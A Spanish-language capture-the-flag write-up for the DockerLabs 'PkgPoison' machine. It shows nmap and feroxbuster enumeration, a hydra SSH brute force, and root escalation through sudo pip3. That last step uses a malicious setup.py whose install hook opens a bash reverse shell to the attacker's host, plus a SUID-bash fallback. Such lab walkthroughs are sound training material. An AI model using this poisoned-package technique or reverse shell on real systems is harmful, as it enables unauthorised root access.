Post

PkgPoison, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing ficheros y dirs feroxbuster
fuerza bruta hydra
escalada de privilegios pip3

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pkgpoison 172.18.0.2

reporte

Como vemos tenemos el 80 http y el 22 ssh, sin mas demora revisamos la web y lanzamos un feroxbuster para ver que directorios y ficheros hay. No me queda claro si ssh en esa version es explotable.

En la web no hay nada y een el codigo tampoco pero con ferox tuvimos suerte notes/note.txt.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,txt -t 40 -u http://172.17.0.2

feroxbuster

Accedemos a notes/note.txt y vemos que nos dan dos posibles usuarios Admin y dev y una contraseña, con esto vamos a lanzar un ataque de fuerza bruta contra ssh. Primero le tiro al dev.

notes/note.txt

El pass lo cambio

1
hydra -l dev -P Descargas/rockyou.txt/rockyou.txt ssh://172.17.0.2

hydra

Tenemo login con dev:computer, para empezar compruedbo sudo , seuid , procesos etc.. y solo obtengo resultado buscando ficheros del usuario admin

1
find / -user admin 2>/dev/null

find

Si no fijamos bien en la ultima linea se distigue lo que puede ser la password de admin.

pass_adm

Hacemos su no nos convertimos en admin.

1
su admin

Ahora veamos que nos dejaron como user admin ejwcutamos los comandos de costumbre. Esta vez hay suerte con sudo -l.

sudol

nos permite ejecutar pip3 como root y hasta donde yo entiendo eso nos permite instalar paquetes como root por tanto cualquier comando que coloquemos en un instalador se ejecutara como root.

Asi que sin demora y como no lo he hecho antes cosnsultemos a google y me contesta la ia , estos de google se la juegan poniendo antes su resultado que los pratocinados que les pagan.

Estrutura de directorios de un paquete pip:

1
2
3
mi_paquete/
├── __init__.py
├── setup.py

1-º __init__.py:

Este archivo indica que un directorio es un paquete Python. Puede estar vacío o contener código de inicialización del paquete

2-º setup.py:

Este archivo contiene la información sobre tu paquete, como el nombre, la versión, la descripción, las dependencias y nuestro codigo malicioso.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from setuptools import setup, Command
import os

class CustomInstallCommand(Command):
    def initialize_options(self):
        pass

    def finalize_options(self):
        pass

    def run(self):
        # tratamos priomero de una revshelll
        os.system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.103/1192 0>&1'")
        # si no funciona probamos con un comando mas sencillo que nos crre una bash con privilegios de root
        # os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")

setup(
    name='maloso',
    version='1.0',
    description='reverse shell',
    cmdclass={
        'install': CustomInstallCommand,
    }
)

Una con todos los ficheros en su lugar debemos ejecutar un comando para que nos cree el paquete , aunque pienso que comprimiendolo nosotros mismos con tar.gz o zip tambien funcionaria.

1
python3 setup.py sdist

Esto nos creara un fichero dist/maloso-1.0.tar.gz que es el que vamos a instalar con pip3.

Ahora solo nos queda instalarlo , para ello levanto un server http en mi maquina y lo llamo desde la maquina victika y si todo va bien nos ha de devolver una reverse shell.

1
2
python3 -m http.server 8080
sudo /usr/biun/pip3 install http://192.168.0.103:8080/maloso-1.0.tar.gz

Ojo con la direccion que yo la puse mal y me tiraba error en la instalacion.

maloso

Todo ha ido bien ahora tenemos una reverse shell como root.

Muchas gracias poor leerme, espero que te haya gustado y que te sirva de ayuda.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.